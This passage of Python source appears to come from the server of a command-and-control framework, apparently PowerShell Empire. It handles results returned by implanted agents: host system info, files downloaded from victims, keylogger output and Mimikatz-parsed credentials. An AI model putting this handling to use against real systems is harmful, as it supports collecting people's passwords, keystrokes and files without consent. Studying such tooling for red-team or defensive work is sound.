        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            # report the agent result in the reporting database
            cur = conn.cursor()
            message = "[*] Agent {} got results".format(sessionID)
            signal = json.dumps({
                'print': False,
                'message': message,
                'response_name': responseName,
                'task_id': taskID,
                'event_type': 'result'
            })
            dispatcher.send(signal, sender="agents/{}".format(sessionID))

            # insert task results into the database, if it's not a file
            if taskID != 0 and responseName not in ["TASK_DOWNLOAD", "TASK_CMD_JOB_SAVE", "TASK_CMD_WAIT_SAVE"] and data != None:
                # Update result with data
                cur.execute("UPDATE results SET data=? WHERE id=? AND agent=?", (data, taskID, sessionID))
                # self.mainMenu.socketio.emit('agents/task', {'sessionID': sessionID, 'taskID': taskID, 'data': data})

                try:
                    keyLogTaskID = cur.execute("SELECT id FROM taskings WHERE agent=? AND id=? AND data LIKE \"function Get-Keystrokes%\"", [sessionID, taskID]).fetchone()[0]
                except Exception as e:
                    pass
                else:
                    cur.execute("UPDATE results SET data=data||? WHERE id=? AND agent=?", [data, taskID, sessionID])

        finally:
            cur.close()
            self.lock.release()

        # TODO: for heavy traffic packets, check these first (i.e. SOCKS?)
        #       so this logic is skipped

        if responseName == "ERROR":
            # error code
            message = "\n[!] Received error response from {}".format(sessionID)
            signal = json.dumps({
                'print': True,
                'message': message
            })
            dispatcher.send(signal, sender="agents/{}".format(sessionID))
            self.update_agent_results_db(sessionID, data)

            if isinstance(data,bytes):
                data = data.decode('UTF-8')
            # update the agent log
            self.save_agent_log(sessionID, "[!] Error response: " + data)


        elif responseName == "TASK_SYSINFO":
            # sys info response -> update the host info
            data = data.decode('utf-8')
            parts = data.split("|")
            if len(parts) < 12:
                message = "[!] Invalid sysinfo response from {}".format(sessionID)
                signal = json.dumps({
                    'print': True,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))
            else:
                # extract appropriate system information
                listener = parts[1]
                domainname = parts[2]
                username = parts[3]
                hostname = parts[4]
                internal_ip = parts[5]
                os_details = parts[6]
                high_integrity = parts[7]
                process_name = parts[8]
                process_id = parts[9]
                language = parts[10]
                language_version = parts[11]
                if high_integrity == 'True':
                    high_integrity = 1
                else:
                    high_integrity = 0

                # username = str(domainname)+"\\"+str(username)
                username = "%s\\%s" % (domainname, username)

                # update the agent with this new information
                self.mainMenu.agents.update_agent_sysinfo_db(sessionID, listener=listener, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, language_version=language_version, language=language)

                sysinfo = '{0: <18}'.format("Listener:") + listener + "\n"
                sysinfo += '{0: <18}'.format("Internal IP:") + internal_ip + "\n"
                sysinfo += '{0: <18}'.format("Username:") + username + "\n"
                sysinfo += '{0: <18}'.format("Hostname:") + hostname + "\n"
                sysinfo += '{0: <18}'.format("OS:") + os_details + "\n"
                sysinfo += '{0: <18}'.format("High Integrity:") + str(high_integrity) + "\n"
                sysinfo += '{0: <18}'.format("Process Name:") + process_name + "\n"
                sysinfo += '{0: <18}'.format("Process ID:") + process_id + "\n"
                sysinfo += '{0: <18}'.format("Language:") + language + "\n"
                sysinfo += '{0: <18}'.format("Language Version:") + language_version + "\n"

                self.update_agent_results_db(sessionID, sysinfo)
                # update the agent log
                self.save_agent_log(sessionID, sysinfo)


        elif responseName == "TASK_EXIT":
            # exit command response
            # let everyone know this agent exited
            message = "[!] Agent {} exiting".format(sessionID)
            signal = json.dumps({
                'print': True,
                'message': message
            })
            dispatcher.send(signal, sender="agents/{}".format(sessionID))

            # update the agent results and log
            # self.update_agent_results(sessionID, data)
            self.save_agent_log(sessionID, data)

            # remove this agent from the cache/database
            self.remove_agent_db(sessionID)


        elif responseName == "TASK_SHELL":
            # shell command response
            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_DOWNLOAD":
            # file download
            if isinstance(data, bytes):
                data = data.decode('UTF-8')

            parts = data.split("|")
            if len(parts) != 4:
                message = "[!] Received invalid file download response from {}".format(sessionID)
                signal = json.dumps({
                    'print': True,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))
            else:
                index, path, filesize, data = parts
                # decode the file data and save it off as appropriate
                file_data = helpers.decode_base64(data.encode('UTF-8'))
                name = self.get_agent_name_db(sessionID)

                if index == "0":
                    self.save_file(name, path, file_data, filesize)
                else:
                    self.save_file(name, path, file_data, filesize, append=True)
                # update the agent log
                msg = "file download: %s, part: %s" % (path, index)
                self.save_agent_log(sessionID, msg)

        elif responseName == "TASK_DIR_LIST":
            try:
                result = json.loads(data.decode('utf-8'))
                self.update_dir_list(sessionID, result)
            except ValueError as e:
                pass

            self.update_agent_results_db(sessionID, data)
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_GETDOWNLOADS":
            if not data or data.strip().strip() == "":
                data = "[*] No active downloads"

            self.update_agent_results_db(sessionID, data)
            #update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_STOPDOWNLOAD":
            # download kill response
            self.update_agent_results_db(sessionID, data)
            #update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_UPLOAD":
            pass


        elif responseName == "TASK_GETJOBS":

            if not data or data.strip().strip() == "":
                data = "[*] No active jobs"

            # running jobs
            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_STOPJOB":
            # job kill response
            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_CMD_WAIT":

            # dynamic script output -> blocking
            self.update_agent_results_db(sessionID, data)

            # see if there are any credentials to parse
            time = helpers.get_datetime()
            creds = helpers.parse_credentials(data)

            if creds:
                for cred in creds:

                    hostname = cred[4]

                    if hostname == "":
                        hostname = self.get_agent_hostname_db(sessionID)

                    osDetails = self.get_agent_os_db(sessionID)

                    self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, osDetails, cred[5], time)

            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_CMD_WAIT_SAVE":

            # dynamic script output -> blocking, save data
            name = self.get_agent_name_db(sessionID)

            # extract the file save prefix and extension
            prefix = data[0:15].strip().decode('UTF-8')
            extension = data[15:20].strip().decode('UTF-8')
            file_data = helpers.decode_base64(data[20:])

            # save the file off to the appropriate path
            save_path = "%s/%s_%s.%s" % (prefix, self.get_agent_hostname_db(sessionID), helpers.get_file_datetime(), extension)
            final_save_path = self.save_module_file(name, save_path, file_data)

            # update the agent log
            msg = "Output saved to .%s" % (final_save_path)
            self.update_agent_results_db(sessionID, msg)
            self.save_agent_log(sessionID, msg)


        elif responseName == "TASK_CMD_JOB":
        #check if this is the powershell keylogging task, if so, write output to file instead of screen
            if keyLogTaskID and keyLogTaskID == taskID:
                safePath = os.path.abspath("%sdownloads/" % self.mainMenu.installPath)
                savePath = "%sdownloads/%s/keystrokes.txt" % (self.mainMenu.installPath,sessionID)
                if not os.path.abspath(savePath).startswith(safePath):
                    message = "[!] WARNING: agent {} attempted skywalker exploit!".format(self.sessionID)
                    signal = json.dumps({
                        'print': True,
                        'message': message
                    })
                    dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
                    return

                with open(savePath,"a+") as f:
                    if isinstance(data, bytes):
                        data = data.decode('UTF-8')
                    new_results = data.replace("\r\n","").replace("[SpaceBar]", "").replace('\b', '').replace("[Shift]", "").replace("[Enter]\r","\r\n")
                    f.write(new_results)
            else:
                # dynamic script output -> non-blocking
                self.update_agent_results_db(sessionID, data)

                # see if there are any credentials to parse
                time = helpers.get_datetime()
                creds = helpers.parse_credentials(data)
                if creds:
                    for cred in creds:

                        hostname = cred[4]

                        if hostname == "":
                            hostname = self.get_agent_hostname_db(sessionID)

                        osDetails = self.get_agent_os_db(sessionID)

                        self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname,
                                                                 osDetails, cred[5], time)

                # update the agent log
                self.save_agent_log(sessionID, data)

            # TODO: redo this regex for really large AD dumps
            #   so a ton of data isn't kept in memory...?
            if isinstance(data,str):
                data = data.encode("UTF-8")
            parts = data.split(b"\n")
            if len(parts) > 10:
                time = helpers.get_datetime()
                if parts[0].startswith(b"Hostname:"):
                    # if we get Invoke-Mimikatz output, try to parse it and add
                    #   it to the internal credential store

                    # cred format: (credType, domain, username, password, hostname, sid, notes)
                    creds = helpers.parse_mimikatz(data)

                    for cred in creds:
                        hostname = cred[4]

                        if hostname == "":
                            hostname = self.get_agent_hostname_db(sessionID)

                        osDetails = self.get_agent_os_db(sessionID)

                        self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, osDetails, cred[5], time)


        elif responseName == "TASK_CMD_JOB_SAVE":
            # dynamic script output -> non-blocking, save data
            name = self.get_agent_name_db(sessionID)

            # extract the file save prefix and extension
            prefix = data[0:15].strip()
            extension = data[15:20].strip()
            file_data = helpers.decode_base64(data[20:])

            # save the file off to the appropriate path
            save_path = "%s/%s_%s.%s" % (prefix, self.get_agent_hostname_db(sessionID), helpers.get_file_datetime(), extension)
            final_save_path = self.save_module_file(name, save_path, file_data)

            # update the agent log
            msg = "Output saved to .%s" % (final_save_path)
            self.update_agent_results_db(sessionID, msg)
            self.save_agent_log(sessionID, msg)


        elif responseName == "TASK_SCRIPT_IMPORT":
            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_IMPORT_MODULE":
            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_VIEW_MODULE":
            self.update_agent_results_db(sessionID, data)
            #update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_REMOVE_MODULE":
            self.update_agent_results_db(sessionID, data)
            #update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_SCRIPT_COMMAND":

            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_SWITCH_LISTENER":
            # update the agent listener
            if isinstance(data, bytes):
                data = data.decode('UTF-8')

            listener_name = data[38:]

            self.update_agent_listener_db(sessionID, listener_name)
            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)
            message = "[+] Updated comms for {} to {}".format(sessionID, listener_name)
            signal = json.dumps({
                'print': False,
                'message': message
            })
            dispatcher.send(signal, sender="agents/{}".format(sessionID))

        elif responseName == "TASK_UPDATE_LISTENERNAME":
            # The agent listener name variable has been updated agent side
            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)
            message = "[+] Listener for '{}' updated to '{}'".format(sessionID, data)
            signal = json.dumps({
                'print': False,
                'message': message
            })
            dispatcher.send(signal, sender="agents/{}".format(sessionID))

        else:
            print(helpers.color("[!] Unknown response %s from %s" % (responseName, sessionID)))